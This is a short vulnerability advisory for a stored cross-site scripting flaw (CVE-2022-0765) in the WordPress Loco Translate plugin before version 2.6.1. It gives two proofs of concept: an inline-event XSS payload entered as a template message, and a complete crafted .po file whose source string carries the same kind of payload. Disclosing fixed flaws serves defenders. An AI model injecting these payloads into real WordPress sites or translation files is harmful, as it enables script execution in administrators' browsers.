WordPress Loco Translate plugin versions prior to 2.6.1 suffer from a persistent cross site scripting vulnerability.
89947839a0f022f27bf4e7359d1a8f8308d5cfc0bacc3631b9f3c6128744b460
Tittle:
WordPress Plugin Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting
References:
CVE-2022-0765
Author:
Taurus Omar
Description:
The plugin does not properly remove inline events from elements in the source translation strings before outputting them in the editor in the plugin admin panel, allowing any user with access to the plugin (Translator and Administrator by default) to add arbitrary javascript payloads to the source strings leading to a stored cross-site scripting (XSS) vulnerability.
Affects Plugins:
loco-translate - Fixed in version 2.6.1
Proof of Concept:
## POC1: via (edit-template)
1.) Got to Plugin Loco Translate
2.) Enter Plugins Options
3.) Enter Edit Template Any Plugin
4.) Add New Message
5.) Edit Message
6.) Replace The Message With The Payload : ">'><details/open/ontoggle=alert('xss')>
7.) Save
8.) Replicated
## POC2 via (example.po)
1.) Got to Plugin Loco Translate
2.) Enter Plugins Options Any Plugin
3.) Upload PO options
3.) Load example.po
Example.po
msgid ""
msgstr ""
"Project-Id-Version: xss-tester\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2022-02-25 03:48+0000\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: \n"
"Language: \n"
"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Loco https://localise.biz/\n"
"X-Loco-Version: 2.5.8; wp-5.9.1\n"
"X-Domain: xss-tester"
msgid "xss-tester"
msgstr ""
msgid "\">'><details/open/ontoggle=confirm('XSS')>"
msgstr ""
Classification:
Type XSS
OWASP top 10 A7: Cross-Site Scripting (XSS)
CWE-79
wpScan:
https://wpscan.com/vulnerability/58838f51-323d-41e0-8c85-8e113dc2c587